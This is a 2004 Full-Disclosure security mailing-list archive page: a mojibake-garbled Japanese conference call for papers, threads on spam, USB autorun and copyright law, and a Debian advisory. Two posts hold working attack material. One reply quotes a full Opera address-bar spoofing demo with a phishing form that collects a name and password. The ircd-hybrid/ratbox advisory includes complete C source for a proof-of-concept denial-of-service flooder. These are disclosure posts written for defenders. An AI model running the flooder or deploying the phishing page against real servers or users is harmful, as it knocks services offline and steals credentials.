è«–æ–‡ã®æœºä¸Šæ¡ˆã«ã¯ã€ä¸‹è¨˜ã®æƒ…報を必ãšå…¥ã‚Œã‚‹ã‚ˆã†ã«ã—ã¦ä¸‹ã•ã„。
 
1) 講師情報ã€æ‰€åœ¨åœ°ï¼ˆå‡ºç”Ÿå›½/パスãƒãƒ¼ãƒˆã«è¨˜å…¥ã•ã‚Œã¦ã„る国ç±ï¼‰ã€ãŠã‚ˆã³é€£çµ¡
å…ˆ (é›»å­ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã€ä½æ‰€ã€é›»è©±ç•ªå·ã€FAX番å·)
2) 勤務先ã€æ‰€å±žå›£ä½“
3) ç°¡å˜ãªçµŒæ­´ã€å‡ºç‰ˆç‰©ãŠã‚ˆã³è«–æ–‡ã®ãƒªã‚¹ãƒˆ
4) 大ããªãƒ—レゼンテーションãŠã‚ˆã³è¬›å¸«çµŒé¨“/経歴
5) 話題ã®æ¦‚è¦ã€è«–æ–‡ã®è¡¨é¡Œ (案) ã€ãŠã‚ˆã³å†…容ã®ç°¡å˜ãªèª¬æ˜Ž (一段è½ã«ã¾ã¨ã‚ãŸã‚‚ã®)
6) 発表ã™ã‚‹é¡ŒæãŒã€é©æ–°çš„ã¾ãŸé‡å¤§ãªæ„味をæŒã£ã¦ã„ã‚‹ã€ã‚ã‚‹ã„ã¯é‡è¦ãª
ãƒãƒ¥ãƒ¼ãƒˆãƒªã‚¢ãƒ«ã§ã‚ã‚‹ç†ç”±
7) ä»»æ„ã§ã€ç”¨æ„ã—ãŸè³‡æ–™ã¾ãŸã¯è¦æ—¨ã®ã‚µãƒ³ãƒ—ル
 
カンファレンス講師審査ã®å‚考ã«ã•ã›ã¦ã„ãŸã ãã¾ã™ã®ã§ã€ä¸Šè¨˜é …目を
core04pacsec.jp è¿„ãŠé€ã‚Šä¸‹ã•ã„。

--
World Security Pros. Cutting Edge Training, Tools, and Techniques
Tokyo, Japan Nov 11-12 2004 http://pacsec.jp
pgpkey http://dragos.com/ kyxpgp

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Opera Browser version 7.51 Address Bar Spoofing Vulnerability

From: Jan Kantert (jan_kantertweb.de)
Date: Fri Jun 18 2004 - 15:24:48 CDT

Hi!

Seems if It does not work in Opera 7.50 on Linux.

Jan

Am Fri, 18 Jun 2004 12:39:22 +0000
schrieb "winter bitlance" <bitlance_3hotmail.com>:

> Hi List.
>
> A vulnerability is found in the Opera browser version 7.51 , which can be
> exploited by spammers to spoof information displayed in the address
> bar.Tested on Windows OS.
>
> Demonstration HTML source code:
>
> ======== begin ========
> [!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"]
> [html lang="en"]
> [head]
> [meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"]
> [meta http-equiv="Content-Script-Type" content="text/javascript"]
> [meta http-equiv="Content-Style-Type" content="text/css"]
> [meta http-equiv="REFRESH"
> content="0;url=javascript:(function(){})();"]
> [title]Opera 7.51 Address Bar Spoofing Vulnerability[/title]
> [script type="text/javascript"]
> [!-- hide JavaScript from old browsers
> var dummy="Do not remove this script element.";
> // end hiding JavaScript --]
> [/script]
> [style type="text/css"]
> [!-- /* hide iframe element. */
> iframe {
> display: none !important;
> }
> /* hide iframe element. */ --]
> [!-- /* pizza form */
> body {
> margin-left: 2em;
> margin-right: 2em;
> font-family:verdana;
> font-size:80%;
> }
> h1 { font-size:120%;}
> h2 { font-size:100%;}
> table { font-size:85%; background-color:buttonface; }
> table caption {
> background-color:activecaption; color:captiontext;
> font-weight:bold; text-align:left; }
> table table { font-size:100%; }
> table input { font-family:verdana; font-size:100%; }
> table select { font-family:verdana; font-size:100%; }
> /* pizza form */ --]
> [/style]
> [/head]
> [body]
> [h1]Opera Browser version 7.51 Address Bar Spoofing Vulnerability[/h1]
> [h2]Tested on Windows OS[/h2]
> [p][a href="http://www.opera.com/" title="Opera 7.51, Everything You Need
> Online"]
> Opera 7.51[/a], Everything You Need Online
> [/p]
> [iframe title="inline frame spoofing address bar"
> src="https://pizza.opera.com/order.html"]
> This inline frame is hidden. See CSS.
> [/iframe]
> [!-- below, phishing form order pizza --]
> [h2]Welcome to Pizza Opera dot Com[/h2]
> [form name="frmPizza" action="phishing://evilsite.tld"]
> [table id="tblPizzaForm" cellspacing="0" cellpadding="3"]
> [caption]Order Your Pizza[/caption]
> [tr valign="top"]
> [td][label for="txtName" accesskey="M"]Na[u]m[/u]e: [/label][/td]
> [td][input type="text" name="txtName" id="txtName"][/td]
> [/tr]
> [tr valign="top"]
> [td][label for="txtPassword" accesskey="P"][u]P[/u]assword: [/label][/td]
> [td][input type="password" name="txtPassword" id="txtPassword"][/td]
> [/tr]
> [tr valign="top"]
> [td][label for="selSize" accesskey="S"][u]S[/u]ize: [/label][/td]
> [td]
> [select name="selSize" id="selSize"]
> [option value="0"]--- pick a size --- [/option]
> [option value="1"]Small[/option]
> [option value="2"]Medium[/option]
> [option value="3"]Large[/option]
> [/select]
> [/td]
> [/tr]
> [tr valign="top"]
> [td colspan="2"]
> [fieldset id="fstCrust"]
> [legend]Crust[/legend]
> [table cellpadding="1" cellspacing="0"]
> [tr]
> [td][input type="radio" name="radCrust" id="radCrust_Thick"
> value="Thick"][/td]
> [td][label for="radCrust_Thick"
> accesskey="K"]Thic[u]k[/u][/label][/td]
> [td][input type="radio" name="radCrust" id="radCrust_Thin"
> value="Thin"][/td]
> [td][label for="radCrust_Thin" accesskey="N"]Thi[u]n[/u][/label][/td]
> [/tr]
> [/table]
> [/fieldset]
> [/td]
> [/tr]
> [tr valign="top"]
> [td colspan="2"]
> [fieldset id="fstToppings"]
> [legend]Toppings[/legend]
> [table cellpadding="1" cellspacing="0"]
> [tr]
> [td][input type="checkbox" name="chkHam" id="chkHam" value="Ham"][/td]
> [td][label for="chkHam" accesskey="H"][u]H[/u]am[/label][/td]
> [/tr]
> [tr]
> [td][input type="checkbox" name="chkPineapple" id="chkPineapple"
> value="Pineapple"][/td]
> [td][label for="chkPineapple"
> accesskey="I"]P[u]i[/u]neapple[/label][/td]
> [/tr]
> [tr]
> [td][input type="checkbox" name="chkExtraCheese" id="chkExtraCheese"
> value="Extra Cheese"][/td]
> [td][label for="chkExtraCheese" accesskey="E"][u]E[/u]xtra
> Cheese[/label][/td]
> [/tr]
> [/table]
> [/fieldset]
> [/td]
> [/tr]
> [tr valign="top"]
> [td colspan="2" align="right"][input type="submit" value=" Order!
> "][/td]
> [/tr]
> [/table]
> [/form]
> [/body]
> [/html]
> ========= end =========
> (Sorry,too long code.)
>
> Thank you, List.
>
> --
> bitlance winter
>
> P.S.
> I tender my acknowledgment to my godparent who has named 'bitlance'.
>
> _________________________________________________________________
> Watch the online reality show Mixed Messages with a friend and enter to win
> a trip to NY
> http://www.msnmessenger-download.click-url.com/go/onm00200497ave/direct/01/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

--
Stopt Softwarepatente, sonst wird Softwareentwicklung in Europa für die
meisten illegal!
Infos: http://webshop.ffii.org

320.000 Stimmen, 2000 Firmen gegen Logikpatente http://noepatents.org/
Innovation statt Patentinflation http://swpat.ffii.org/

Bitte senden Sie mir keine Word- oder PowerPoint-Anhänge.
Siehe http://www.fsf.org/philosophy/no-word-attachments.de.html

Alle Rechtscheibfehler in dieser Mail sind urheberrechtlich geschützt.
Für Grammatikfehler wird keine Haftung übernommen.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFA00+anmQpSW1LSpwRAlhWAJ4itc6ZnBdI816w801HrTVeS+y3JQCeLuEP
xNYNPBx1Bj5kTLRCKaEWG0g=
=jGwe
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Spam Solution

Valdis.Kletnieksvt.edu
Date: Fri Jun 18 2004 - 15:23:14 CDT

On Fri, 18 Jun 2004 15:18:38 EDT, Larry Seltzer said:

> Well of course there's no such thing as an "Outlook server" but are you saying that it's
> hard-coded to specific accounts on specific servers? Obviously it would be shut down
> quickly.

Exchange, not Outlook.

http://www.silicon.com/management/itpro/0,39024675,39116920,00.htm

(One of many Google hits for 'exchange spam guest account')

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFA008ycC3lWbTT17ARAtr+AKDqdFVbo6lSKIu+vGAKl2aT5Ksj0QCgy7lD
Y2y4BYoeKIQe2ItNhIlz4ls=
=ZMDj
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Induce Act

hummerdomeranger.com
Date: Fri Jun 18 2004 - 16:05:08 CDT

Proposed expansion of copyright law could regulate new technologies out of
existance.

 "They're trying to make it legally risky to introduce technologies that
could be used for copyright infringement," said Jessica Litman, a professor
at Wayne State University who specializes in copyright law.

http://news.com.com/Antipiracy+bill+targets+technology/2100-1028_3-5238140.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

  • application/x-pkcs7-signature attachment: smime.p7s
 
[Full-Disclosure] ircd-hybrid-7 / ircd-ratbox low-bandwidth DoS

From: Erik Sperling Johansen (einrideeinride.org)
Date: Fri Jun 18 2004 - 16:21:19 CDT

Name : ircd-hybrid-7/ircd-ratbox low-bandwidth DoS
Date : June 14th 2004
Author : Erik Sperling Johansen <einrideeinride.org>
Severity : Medium

This has been tested on most the ircd versions currently used on EFNet.
Other ircds may be affected.

Affected:
  ircd-hybrid <=7.0.1
  ircd-ratbox <=1.5.1
  ircd-ratbox <=2.0rc6
Not Affected:
  ircd-hybrid 7.1-devel
  ircd-ratbox >=1.5.2
  ircd-ratbox >=2.0rc7
  ircd-hybrid 6
  csircd

Outline:
Due to faulty logic in the socket dequeuing mechanism used in hybrid 7
and the derivated ircd-ratbox, it is possible to severely lag an irc
server using a low-bandwidth DoS attack.

Description:
Client connections to the ircd are subject to a burstable rate limit,
specified as messages per second, and implemented as a simple token
bucket. This rate limit will cause a client to exit with an "Excess
Flood" error if data is sent too fast. This rate limit is not used for
connected servers, and more important; neither for connections that
are not yet registered as a client or a server.

Processing of received data is a 2-stage operation. First, data is
read off ready sockets, split into lines and queued up in a "linebuf"
linked list with buffers allocated from a blockheap. Each line will
cause a 537-byte block of data to be allocated.

Then, these lines are processed by parse_client_queued. If the sender
is a server, there's no ratelimit, fine. If the sender is a client,
there's a ratelimit leading to a closed connection if it's exceeded,
works like a charm. If the sender is "Unknown", there's a fixed
ratelimit of MAX_FLOOD (default 5) lines per main loop iteration. This
ratelimit does not cause the connection to be closed if it is exceeded,
processing is simply postponed until next main loop iteration.

So, if you haven't registered, you're not subject to rate limits. Each
line you send causes a 537 byte buffer to be allocated. Your lines are
dequeued slowly. Starts to look like a possible memory exhaustion? Now,
add to this that " \n" is considered a queueable line. Yep, 2 bytes
sent cause a 537 byte heap block to be queued and way too slowly
dequeued.

Exploitation:
The included app can make any of the vulnerable ircds severely lagged
and often totally unresponsive, with usage of no more than 100-150K/sec
bandwidth. The effects stay behind several minutes after the flooding
connections have been terminated. No warnings are given with the default
log levels of the affected ircds.

Resolution:
- Upgrade to hybrid-6 or csircd
- Get the corrected ratbox-1.5.2 from http://www.ircd-ratbox.org
- Get a hybrid-7.0.1 patch from
http://www.ircd-hybrid.org/diff/unreg_limit.diff

Timeline:
Found june 13th.
Developers informed june 14th. Patch made available immediately.
Notified EFNet administration june 15th.
Public release june 19th.

Erik S. Johansen <einrideeinride.org>

einrideEFNet - co-admin irc.banetele.no

-----h7kill.c-----

// Proof of concept - remote ircd-hybrid-7/ircd-ratbox DoS
//
// ./kiddie-proofed - you'll need to correct a bug
//
// Tested on linux, should work with minor tweaks on other platforms
//
// -- Erik Sperling Johansen <einrideeinride.org>

#include <stdlib.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/signal.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <string.h>
#include <time.h>

int done = 0;

void siginthandler(int x) {
  fprintf(stdout, "Exiting\n");
  done = 1;
}
void usage(const char * b) {
  fprintf(stderr, "%s ip port connectioncount\n", b);
  exit(1);
}

int makeconn(struct sockaddr_in * sin) {
  int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (s < 0) {
    perror("socket");
    return -1;
  }
  int n=1;
  if (ioctl(s, FIONBIO, &n, sizeof(n))) {
    perror("ioctl");
    close(s);
    return -1;
  }
  errno = 0;
  if ((connect(s, (struct sockaddr *) sin, sizeof(sin)) == -1)
    && (errno != EINPROGRESS)) {
    perror("connect");
    close(s);
    return -1;
  }
  return s;
};

int main(int argc, const char ** argv, const char ** envp) {
  fd_set wfd, rfd;
  FD_ZERO(&wfd);
  FD_ZERO(&rfd);
  if (argc != 4)
    usage(argv[0]);
  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_addr.s_addr = inet_addr(argv[1]);
  if (sin.sin_addr.s_addr == INADDR_NONE)
    usage(argv[0]);
  sin.sin_port = htons(atoi(argv[2]));
  sin.sin_family = AF_INET;
  int conncount = atoi(argv[3]);
  if ((conncount <= 0) || (conncount > FD_SETSIZE-5))
    usage(argv[0]);
  int * sockets = (int *) malloc(conncount * sizeof(int));
  int i, highsock = 0;
  char buf[65536];
  char dummy[65536];
  for (i=0; i<sizeof(buf)-1; i+=2) {
    buf[i] = ' ';
    buf[i+1] = '\n';
  }
  for (i = 0; i<conncount; ++i)
    sockets[i] = -1;
  highsock = -1;
  int CountConnects = 0, CountBytes = 0, CurCountBytes = 0;
  time_t Started = time(0), LastRep = time(0);
  signal(SIGPIPE, SIG_IGN);
  signal(SIGINT, siginthandler);
  while (!done) {
    fd_set w, r;
    if (highsock == -1) {
      for (i=0;i<conncount;++i) {
        if (sockets[i] < 0) {
          sockets[i] = makeconn(&sin);
          if (sockets[i] >= 0) {
            ++CountConnects;
            FD_SET(sockets[i], &wfd);
            FD_SET(sockets[i], &rfd);
          }
          if (highsock < sockets[i])
            highsock = sockets[i];
        }
      }
    }
    memcpy(&w, &wfd, sizeof(w));
    memcpy(&r, &rfd, sizeof(r));
    struct timeval tv = { 1, 0 };
    int c = select(highsock+1, &r, &w, 0, &tv);
    for (i = 0; (i<conncount) && (c > 0); ++i) {
      if (sockets[i] >= 0) {
        if (FD_ISSET(sockets[i], &w)) {
          int bytes = send(sockets[i], buf, sizeof(buf), 0);
          if (bytes > 0) {
            CountBytes += bytes;
            CurCountBytes += bytes;
          } else {
#ifndef NONOISE
            perror("send");
#endif
            FD_CLR(sockets[i], &wfd);
            FD_CLR(sockets[i], &rfd);
            close(sockets[i]);
#ifndef NONOISE
            fprintf(stdout, "(send) Lost conn on socket %i, reconnecting\n",
sockets[i]);
#endif
            sockets[i] = -1;
            highsock = -1;
          }
        }
      }
      if (sockets[i] >= 0) {
        if (FD_ISSET(sockets[i], &r)) {
          errno = 0;
          if (recv(sockets[i], dummy, sizeof(dummy), 0) <= 0) {
#ifndef NONOISE
            perror("recv");
#endif
            FD_CLR(sockets[i], &wfd);
            FD_CLR(sockets[i], &rfd);
            close(sockets[i]);
#ifndef NONOISE
            fprintf(stdout, "(recv) Lost conn on socket %i, reconnecting\n",
            sockets[i]);
#endif
            sockets[i] = -1;
            highsock = -1;
          }
        }
      }
    }
    
    if (time(0) - LastRep > 5) {
      fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS - Last
period: %i bytes, %li BPS\n", CountConnects, CountBytes, CountBytes /
(time(0) - Started), CurCountBytes, CurCountBytes / (time(0) - LastRep));
      LastRep = time(0);
      CurCountBytes = 0;
    }
  }
  fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS\n",
CountConnects, CountBytes, CountBytes / (time(0) - Started));
  
  return 0;
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Induce Act

From: Eric Paynter (ericarcticbears.com)
Date: Fri Jun 18 2004 - 17:14:01 CDT

On Fri, June 18, 2004 2:05 pm, hummerdomeranger.com said:
> Proposed expansion of copyright law could regulate new technologies out of
> existance.
>
> "They're trying to make it legally risky to introduce technologies that
> could be used for copyright infringement," said Jessica Litman, a
> professor at Wayne State University who specializes in copyright law.

"Could be used for" is pretty scary... The Internet "could be used for"
copyright infringement. So can photocopiers, tape recorders, hard disk
drives... heck, a pencil and paper "could be used for" copyright
infringement if I'm transcribing music with it and then selling the
hand-written copies. Better stop making pencils!!

-Eric

--
arctic bears - affordable email and name services yourdomain.com
http://www.arcticbears.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Spam Solution

From: Gadi Evron (geegotistical.reprehensible.net)
Date: Fri Jun 18 2004 - 12:48:47 CDT

Alavan wrote:

> At 06:33 PM 6/18/2004 +1200, you wrote:
>
>> Haven't you more or less just described SPF?
>
>
> My apologies. I didn't read enough about SPF/Caller-ID (actually I only
> read the news reports). I thought that they only verified that the FROM
> address and the IP of the sending machine existed in the same domain. It
> appears that they do address registering sending servers.
>
> Next time, I'll try to shut my mouth before attempting to put my foot in
> it.

Your comments were intelligent and you said you read the article if I
remember right.

No biggie.

        Gadi Evron.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] USB autorun function

From: Gadi Evron (geegotistical.reprehensible.net)
Date: Fri Jun 18 2004 - 12:56:32 CDT

Evil Wrangler wrote:

> I want to say how flattered I am to have generated so much discussion
> from my little 2600 article. I welcome all corrections and additions.
>
> Information should be free!
>
> =;^)
>

And thank you for writing it! (although I haven't read it).

The whole issue is quite old (2 years?), but haven't really been addressed.

What's funny about all this is that once again a few people (I counted 4
including you and me) started talking about it in relatively the same
time, without knowing of each other.

In this case we didn't invent anything new, but it's an interesting fact
non-the-less.

        Gadi Evron.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] User auto added to Outlook Express contacts

From: BillyBobKnob (billybobknobhotmail.com)
Date: Fri Jun 18 2004 - 19:40:57 CDT

Does anyone have any idea how this works ?

I have all the latest critical updates and cannot find a setting in Outlook
Express to prevent this so could this possibly used for an exploit ?

Thanks,
Bill

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Spam Solution

From: Bojan Zdrnja (Bojan.ZdrnjaLSS.hr)
Date: Sat Jun 19 2004 - 02:42:16 CDT

 

> -----Original Message-----
> From: full-disclosure-adminlists.netsys.com
> [mailto:full-disclosure-adminlists.netsys.com] On Behalf Of
> Larry Seltzer
> Sent: Friday, 18 June 2004 11:31 p.m.
> To: full-disclosurelists.netsys.com
> Subject: RE: [Full-Disclosure] Spam Solution
>
> >>Spammers already have and use the technology to circumvent
> all this, so they don't
> even need to invent new tricks.
>
> SMTP AUTH cracking and using the ISP account? Not that it
> can't and won't be done, but
> I'm aware of no actual examples. Could you cite one please?

Well, spammers are trying to crack accounts through SMTP AUTH for quite a
long time - this was mentioned in news more than once.

Check following threads:

From Incidents mailinsg list:
http://marc.theaimsgroup.com/?t=106615376000003&r=1&w=2

From NANOG:
http://www.merit.edu/mail.archives/nanog/2003-10/msg00569.html

Bojan Zdrnja
CISSP

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] RE: Spam Solution

From: Max Mustermann (anonymousremail.amessage.info)
Date: Fri Jun 18 2004 - 19:25:33 CDT

Larry Seltzer wrote:

> SMTP AUTH cracking and using the ISP account? Not that it can't and won't be done, but
> I'm aware of no actual examples. Could you cite one please?

Correct me if I'm wrong. One worm some time ago even _asked_ users to enter
their SMTP AUTH credentials. And it spread quite well. Attach a spam engine
and reduce its spreading rate to stay under the AV radar as long as
possible and you're set.

Was it SWEN? Or one of the encrypted ZIP thingies? I can't remember but it
happened.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Re: USB risks (continued)

From: RSnake (rsnakeshocking.com)
Date: Fri Jun 18 2004 - 18:54:44 CDT

        Autorun doesn't work with USB keyfobs. Actually, it is my
understanding that it doesn't work on any media that is deemed writable and
removable. The distinction between USB devices and CDs is that the media is
writeable, but the drives aren't removeable on CDs. That of course isn't true
if you have a USB drive, but I think part of the deal there is that you need to
install special drivers to even read USB CD drives. That's kinda a weird
distinction, but I researched it quite a bit earlier this year and that's just
how they define it. With the advent of bootable USB devices, and more USB
support, you can pretty much bet things will change, but for right now, autorun
isn't an issue.

On Fri, 18 Jun 2004, Gadi Evron wrote:

| Date: Fri, 18 Jun 2004 18:09:20 +0200
| From: Gadi Evron <geegotistical.reprehensible.net>
| To: Harlan Carvey <keydet89yahoo.com>
| Cc: full-disclosurelists.netsys.com, bugtraqsecurityfocus.com
| Subject: USB risks (continued)
|
| I'm emailing this to bugtraq as well. A discussion there might produce
| more interesting results than "MS sucks" on FD. This is rather important
| and has grown in importance over the last couple of years. There were a
| few discussions on the subject, but nothing to help formulate a plan on
| how to defend against it.
|
| Here goes...
|
| >> This issue has been discused in pentest list. Take
| >>a look at:
| >>http://archives.neohapsis.com/archives/sf/pentest/2004-05/0136.html
| > I don't think the issue is that it's been discussed,
| > more that it hasn't been really resolved/addressed.
|
| I already replied to Harlan off-list, but I figured I might as well
| reply about some of this here as well.
|
| First off, it has been discussed rather fully on pen-test and the
| archives would make a good resource.
|
| Auto-run certainly isn't a new issue and a factor in every hardening of
| a Windows system for a while now. It was a big "thing" 2 years ago.
|
| It should be tested further, but the risk of the USB as a mechanism for
| stealing information and/or introducing a Trojan horse/gaining access to
| a PC is what we need to be concerned about.
|
| Regular usage of a USB drive makes the cleaning crew potentially the
| richest sort on earth.
|
| What I believe issues that would have to be addressed in the future, are:
| [Please keep in mind that USB performs as a hub/client model and that
| the main driver for USB devices is built into Windows, unlike what I
| originally thought before looking further into this]
|
| 1. Better systems to track/deny usage of USB drives (all-together or of
| particular types, negatively or positively). Several systems
| already exist, from removing USB/gluing the plug to programs
| that sit on a Domain.
| 2. Buffer Overflow:
| I personally find the USB driver to be rather unstable, although
| others disagree. A buffer overflow in the driver can be catastrophic
| and _perhaps_ even effect very strong crypto-systems. Maybe systems
| like eToken, although I haven't looked into it, so i can't say.
| 3. SDK's:
| Many SDK's exist for developing USB drivers. If a backdoor is put
| into even just one of them...
| There is a huge market for USB coders. Any kiddie interested?
|
| On the organizational level, it should be addressed in a matter of
| policy, and enforced by different monitoring systems.
|
| This issue isn't singular to USB, but it highlights the problem rather
| nicely.
|
| Some future trends might be wireless control of remote systems via USB,
| going to a PC with a PDA and choosing what to get.change, or simply
| copying automatically using the USB autorun capability (there was a POC
| on the pen-test discussion).
|
| These are all valid threats, but the main threat of copying data to a
| USB drive covertly and disappearing is what scares me currently. Also,
| what stops a person from copying work-related material to a digital
| camera memory stick?
|
| Nothing if not your policy and enforcement+monitoring of it.
|
| Other than the pen-test discussion there was a discussion here a few
| months ago on domain USB monitor services, and a USB device (once
| wireless, once for copying data automatically) showed on these TV shows:
| Threat Matrix and Jake 2.0.
|
| The reason I think this should be discussed further is because I truly
| believe in the risk. It is "out there", known and there is even a POC..
| but no real discussion on organizational counter-measures and defensive
| strategies.
|
| Here is Harlan's post:
|
| >> This is an interesting topic of discussion. Like one
| >> poster, I first saw this in the most recent issue of
| >> 2600. I began looking into it, and almost immediately
| >> came up with this particular MS KB article:
| >> http://support.microsoft.com/default.aspx?scid=kb;EN-US;136214
|
| >> As you can see, KB136214 states pretty clearly that
| >> *be default*, autorun.inf file processing is NOT
| >> enabled for USB-connected thumb drives. I haven't
| >> tested it myself, but another poster has stated that
| >> while items in the "open=" line may not be launched,
| >> the "icon=" line seems to be processed.
|
| >> I read Gadi's comments:
| >> http://catless.ncl.ac.uk/go/risks/23/41/4
|
| >> I had some questions for Gadi, and fired off an email
| >> but have yet to hear back.
|
| >> While I do agree wholeheartedly that USB-connected
| >> devices are definitely an issue within a network
| >> infrastructure, it's not yet clear to me that the pose
| >> the threats that have been presented.
|
| Gadi Evron.
|
| --
| Email: gelinuxbox.org. Work: gadiecbs.gov.il. Backup: gewarp.mx.dk.
| Phone: +972-50-428610 (Cell).
|
| PGP key for attachments: http://vapid.reprehensible.net/~ge/Gadi_Evron.asc
| ID: 0xD9216A06 FP: 5BB0 D3E2 D3C1 19B7 2104 C0D0 A7B3 1CF7 D921 6A06
| GPG key for encrypted email:
| http://vapid.reprehensible.net/~ge/Gadi_Evron_Emails.asc
| ID: 0x06C7D450 FP: 3B88 845A DF1F 4062 E5BA 569A A87E 8DB7 06C7 D450
|

-R

The information in this email is confidential and may be legally
privileged. It is intended solely for the addressee. Access to
this email by anyone else is unauthorized. If you are not the
intended recipient, any disclosure, copying, distribution or any
action taken or omitted to be taken in reliance on it is
expressly prohibited and may be unlawful.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [SECURITY] [DSA 521-1] New sup packages fix format string vulnerabilities

debian-security-announcelists.debian.org
Date: Fri Jun 18 2004 - 22:48:57 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 521-1 securitydebian.org
http://www.debian.org/security/ Matt Zimmerman
June 18th, 2004 http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package : sup
Vulnerability : format string
Problem-Type : remote
Debian-specific: no
CVE Ids : CAN-2004-0451

jaguarfelinemenace.org discovered a format string vulnerability in
sup, a set of programs to synchronize collections of files across a
number of machines, whereby a remote attacker could potentially cause
arbitrary code to be executed with the privileges of the supfilesrv
process (this process does not run automatically by default).

CAN-2004-0451: format string vulnerabilities in sup via syslog(3) in
logquit, logerr, loginfo functions

For the current stable distribution (woody), this problem has been
fixed in version 1.8-8woody2.

For the unstable distribution (sid), this problem will be fixed soon.

We recommend that you update your sup package.

Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 3.0 alias woody
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/s/sup/sup_1.8-8woody2.dsc
      Size/MD5 checksum: 538 f5817f83647a677ec6781c9d55843307
    http://security.debian.org/pool/updates/main/s/sup/sup_1.8-8woody2.diff.gz
      Size/MD5 checksum: 6859 7b9cf999b1fb2c7662024ceb0c498039
    http://security.debian.org/pool/updates/main/s/sup/sup_1.8.orig.tar.gz
      Size/MD5 checksum: 111165 76371f01340ce62cd71687349c5aa27e

  Alpha architecture:

    http://security.debian.org/pool/updates/main/s/sup/sup_1.8-8woody2_alpha.deb
      Size/MD5 checksum: 103714 62123f3b8178825af23107d24c843bd1

  ARM architecture:

    http://security.debian.org/pool/updates/main/s/sup/sup_1.8-8woody2_arm.deb
      Size/MD5 checksum: 82756 a866d4f3b3fdbdb86e2db7ba745ea480

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/s/sup/sup_1.8-8woody2_i386.deb
      Size/MD5 checksum: 82624 580ca0b977cc27212c4e7778b435d4f3

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/s/sup/sup_1.8-8woody2_ia64.deb
      Size/MD5 checksum: 127664 cf7db9e24bbf333da16343bcdc5e9e82

  HP Precision architecture:

    http://security.debian.org/pool/updates/main/s/sup/sup_1.8-8woody2_hppa.deb
      Size/MD5 checksum: 94516 371292e2eaec3f04d49c8b29cb6e82ed

  Motorola 680x0 architecture:

    http://security.debian.org/pool/updates/main/s/sup/sup_1.8-8woody2_m68k.deb
      Size/MD5 checksum: 76454 4144ec09078326ba8e3facc6bef0e3b8

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/s/sup/sup_1.8-8woody2_mips.deb
      Size/MD5 checksum: 96814 c7e843b2ac5573c792c8c45910717f07

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/s/sup/sup_1.8-8woody2_mipsel.deb
      Size/MD5 checksum: 96452 c0558b55bce77470e1d9d52b515d39e1

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/s/sup/sup_1.8-8woody2_powerpc.deb
      Size/MD5 checksum: 85246 06e0683ba5c24a406a02b131304a6e6f

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/s/sup/sup_1.8-8woody2_s390.deb
      Size/MD5 checksum: 84656 b1e6f251fc3a22eb43d9bbd3044828bc

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/s/sup/sup_1.8-8woody2_sparc.deb
      Size/MD5 checksum: 89948 b8965ae16901df1eb9eb64faa8169d39

  These files will probably be moved into the stable distribution on
  its next revision.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announcelists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

